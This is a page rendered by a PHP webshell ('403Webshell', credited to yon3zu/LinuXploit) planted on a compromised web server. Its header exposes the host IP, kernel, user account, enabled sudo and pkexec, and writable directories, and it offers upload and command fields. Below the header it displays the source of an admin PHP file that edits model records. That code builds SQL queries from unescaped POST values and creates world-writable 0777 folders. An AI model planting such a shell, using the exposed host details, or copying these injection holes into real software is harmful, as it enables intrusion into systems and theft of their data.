403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/xfcadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/xfcadmin/adm.models.modify.php
<?php
$requiredLevel = 9;
include ("adm.config.php");
include ("adm.header.php");

$msgSystem = '';

$pageAction = "Add";

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
	//NEW OR EDIT
	$model = new stdClass;
	$model->model_id = $_POST['model_id'];

	if (isset($_POST['name']) && $_POST['name'] != "") {
		$model->name = mysql_real_escape_string($_POST['name']);
	}
	
	if (isset($_POST['member_id']) && $_POST['member_id'] != "") {
		$model->member_id = mysql_real_escape_string($_POST['member_id']);
	}
	
	$model->releasemonth = $_POST['releasemonth'];
	$model->releaseday = $_POST['releaseday'];
	$model->releaseyear = $_POST['releaseyear'];

    $model_email = mysql_real_escape_string($_POST['model_email']);
    
	if ($msgSystem == "") {

		$releaseDate = $model->releaseyear . '-' . $model->releasemonth . '-' . $model->releaseday;

		if (is_numeric($model->model_id) && $model->model_id > 0) {
			// UPDATE
			$existingCheck_sql = mysql_query("SELECT * FROM cms_models WHERE model_id = '" . $model->model_id . "'") or die(mysql_error());
			if (mysql_num_rows($existingCheck_sql) == 1) {
				$pageAction = "Edit";
				$payPercentage = addslashes($_POST['payPercentage']);
				$revsharePercentage = addslashes($_POST['revsharePercentage']);
				$modelStatus = addslashes($_POST['modelStatus']);
				$query = mysql_query("UPDATE cms_models SET modelStatus = '".$modelStatus."', releasedate = '".$releaseDate."', payPercentage = '".$payPercentage."', revsharePercentage = '".$revsharePercentage."' WHERE model_id = '" . $model->model_id . "'");
				$query = mysql_query("UPDATE cms_members SET model_id = '0', xfcadmin = '0' WHERE model_id = '".$model->model_id."' AND xfcadmin != '9'");
				$query = mysql_query("UPDATE cms_members SET model_id = '" . $model->model_id . "', xfcadmin = '1', model_email='". $model_email ."' WHERE member_id = '".$model->member_id."'");
				generateModelHTACCESS();
				printf("<meta http-equiv=\"Refresh\" content=\"0;url=./adm.models.php\">");
				exit;
			}
		} else {
			// INSERT
			$pageAction = "Add";

			$modelFolder = strtolower(str_replace(" ","",$model->name));
			
			$secureRoot = $contentPath.$modelFolder;
			$webRoot = $contentPathFree.$modelFolder;

			if (!is_dir($secureRoot)) {
				mkdir($secureRoot,0777);
				chmod($secureRoot,0777);
			} else {
				//die("folder already in use!");
			}
		
			if (!is_dir($webRoot)) {
				mkdir($webRoot,0777);
				chmod($webRoot,0777);
			} else {
				die("folder already in use!");
			}
			$payPercentage = addslashes($_POST['payPercentage']);
			$revsharePercentage = addslashes($_POST['revsharePercentage']);
			$modelStatus = addslashes($_POST['modelStatus']);
			$query = mysql_query("INSERT INTO cms_models SET modelStatus = '".$modelStatus."', releasedate = '" . $releaseDate . "', name = '" . $model->name . "', payPercentage = '".$payPercentage."', revsharePercentage = '".$revsharePercentage."'");
			$model_id = mysql_insert_id();
			generateModelHTACCESS();
			$query = mysql_query("UPDATE cms_members SET model_id = '0', xfcadmin = '0' WHERE model_id = '".$model_id."' AND xfcadmin != '9'");	
			$query = mysql_query("UPDATE cms_members SET xfcadmin = '1', model_id = '" . $model_id . "',  model_email='". $model_email ."'  WHERE member_id = '".$model->member_id."'");
			
			
			$customOptions = @mysql_query("SELECT * FROM cms_custom_options WHERE contentType IN ('1','2')");
			while ($row = @mysql_fetch_object($customOptions)) {
				$settingPrice = number_format(0, 2, '.', '');
				$modelStatus = 1;
				$insert = @mysql_query("INSERT INTO cms_custom_options_models SET modelID = '".$userDetails->model_id."', modelStatus = '".$modelStatus."', settingPrice = '".$settingPrice."', optionID = '".$row->optionID."'");
			}
	
	
	
			printf("<meta http-equiv=\"Refresh\" content=\"0;url=./adm.models.php?chg=".$model_id."\">");
			exit;
		}
	}
} elseif (isset($_GET['id']) && is_numeric($_GET['id'])) {
	// EDIT
	$pageAction = "Edit";
	$model_id = mysql_real_escape_string($_GET['id']);
	$model_sql = mysql_query("SELECT * FROM cms_models WHERE model_id = '" . $model_id . "'") or die(mysql_error());
	if (mysql_num_rows($model_sql) == 1) {
		$model = mysql_fetch_object($model_sql);

		$releasedate = explode("-", $model -> releasedate);
		$model -> releasemonth = $releasedate[1];
		$model -> releaseday = $releasedate[2];
		$model -> releaseyear = $releasedate[0];
        
    //Added by Bill
    $model_data = mysql_query("SELECT * FROM cms_members WHERE model_id = '" . $model_id . "'") or die(mysql_error());
    $model_data_results = mysql_fetch_array($model_data);
    
		
	} else {
		die("not a valid model id");
		$model = new stdClass;
		$model->model_id = 0;
	}
} else {
	$model = new stdClass;
	$model->model_id = 0;
	$model->payPercentage = 70;
	$model->revsharePercentage = 30;
}

?>
<h3>MODEL</h3>
<form action="" id="mainForm" enctype="multipart/form-data" method="POST" class="form-horizontal">

 <div class="form-group">
	<label class="col-lg-2 control-label">Model Name:</label>
    <div class="col-lg-4">
	<input type="text" name="name" class="form-control" value="<?php echo (isset($model->name) ? $model->name : ""); ?>" />        </div>
</div>
 <div class="form-group">
	<label class="col-lg-2 control-label">Status:</label>
    <div class="col-lg-4">
			<select name="modelStatus"  class="form-control">
						<option value="0"<?php echo(isset($model->modelStatus) && $model->modelStatus == 0 ? " selected" : ""); ?>>DISABLED</option>
						<option value="1"<?php echo(isset($model->modelStatus) && $model->modelStatus == 1 ? " selected" : ""); ?>>ENABLED</option>
			</select>
    </div>
</div>	
 <div class="form-group">
	<label class="col-lg-2 control-label">Model %:</label>
    <div class="col-lg-4">
						<select id="payPercentage" name="payPercentage" class="form-control">
						<?php
							for ($i=0;$i<=100;$i++) {
								if($model->payPercentage == $i) {
									echo '<option value="'.$i.'" selected>'.$i.'</option>';	
								} else {
									echo '<option value="'.$i.'">'.$i.'</option>';	
								}
							}
						?>
					</select>
    </div>
</div>
 <div class="form-group">
	<label class="col-lg-2 control-label">Revshare %:</label>
    <div class="col-lg-4">
						<select id="revsharePercentage" name="revsharePercentage" class="form-control">
						<?php
							for ($i=0;$i<=100;$i++) {
								if($model->revsharePercentage == $i) {
									echo '<option value="'.$i.'" selected>'.$i.'</option>';	
								} else {
									echo '<option value="'.$i.'">'.$i.'</option>';	
								}
							}
						?>
					</select>
    </div>
</div>
 <div class="form-group">
	<label class="col-lg-2 control-label">Member Login:</label>
    <div class="col-lg-4">
						<select id="member_id" name="member_id" class="form-control">
                        <option value="0"></option>
						<?php
							memberListSelect("",$model->model_id);
						?>
					</select>
    </div>
</div>

<div class="form-group">
	<label class="col-lg-2 control-label">Personal Email(CC Field):</label>
    <div class="col-lg-4">
	<input type="text" name="model_email" class="form-control" value="<?php echo (isset($model_data_results['model_email']) ? $model_data_results['model_email'] : ""); ?>" />        </div>
</div>

 <div class="form-group">
	<label class="col-lg-2 control-label">Release date:</label>
    <div class="col-lg-2">
    <select id="releasemonth" name="releasemonth" class="form-control">
						<option value="0">Month</option>
						<option value="01"<?php echo(isset($model -> releasemonth) && $model -> releasemonth == "01" ? " selected" : ""); ?>>January</option>
						<option value="02"<?php echo(isset($model -> releasemonth) && $model -> releasemonth == "02" ? " selected" : ""); ?>>February</option>
						<option value="03"<?php echo(isset($model -> releasemonth) && $model -> releasemonth == "03" ? " selected" : ""); ?>>March</option>
						<option value="04"<?php echo(isset($model -> releasemonth) && $model -> releasemonth == "04" ? " selected" : ""); ?>>April</option>
						<option value="05"<?php echo(isset($model -> releasemonth) && $model -> releasemonth == "05" ? " selected" : ""); ?>>May</option>
						<option value="06"<?php echo(isset($model -> releasemonth) && $model -> releasemonth == "06" ? " selected" : ""); ?>>June</option>
						<option value="07"<?php echo(isset($model -> releasemonth) && $model -> releasemonth == "07" ? " selected" : ""); ?>>July</option>
						<option value="08"<?php echo(isset($model -> releasemonth) && $model -> releasemonth == "08" ? " selected" : ""); ?>>August</option>
						<option value="09"<?php echo(isset($model -> releasemonth) && $model -> releasemonth == "09" ? " selected" : ""); ?>>September</option>
						<option value="10"<?php echo(isset($model -> releasemonth) && $model -> releasemonth == "10" ? " selected" : ""); ?>>October</option>
						<option value="11"<?php echo(isset($model -> releasemonth) && $model -> releasemonth == "11" ? " selected" : ""); ?>>November</option>
						<option value="12"<?php echo(isset($model -> releasemonth) && $model -> releasemonth == "12" ? " selected" : ""); ?>>December</option>
					</select>
				</div>
				<div class="col-lg-2">
					<select id="releaseday" name="releaseday" class="form-control">
						<option value="0">Day</option>
						<?php
						$dayCounter = 1;

						while ($dayCounter < 32) {

							if ($dayCounter < 10) {
								$formattedDay = "0" . $dayCounter;
							} else {
								$formattedDay = $dayCounter;
							}

							echo '<option value="' . $formattedDay . '"' . (isset($model -> releaseday) && $model -> releaseday == $formattedDay ? " selected" : "") . '>' . $dayCounter . '</option>';

							$dayCounter++;

						}
						?>
					</select>
				</div>
				<div class="col-lg-2">
					<select id="releaseyear" name="releaseyear" class="form-control">
						<option value="0">Year</option>
						<?php

						$yearCounter = date("Y") + 2;

						while ($yearCounter >= 2009) {

							echo '<option value="' . $yearCounter . '"' . (isset($model -> releaseyear) && $model -> releaseyear == $yearCounter ? " selected" : "") . '>' . $yearCounter . '</option>';

							$yearCounter--;

						}
						?>
					</select>
    </div>
</div>
		
        
          <div class="form-group">
    <div class="col-sm-offset-2 col-sm-10">
      <button name="post" type="submit"  class="form-control">     Save Settings     </button>
    </div>
  </div>
	
		<input type="hidden" name="model_id" value="<?php echo $model -> model_id; ?>">

</form>
<?php
include('adm.footer.php'); 

?>

Youez - 2016 - github.com/yon3zu
LinuXploit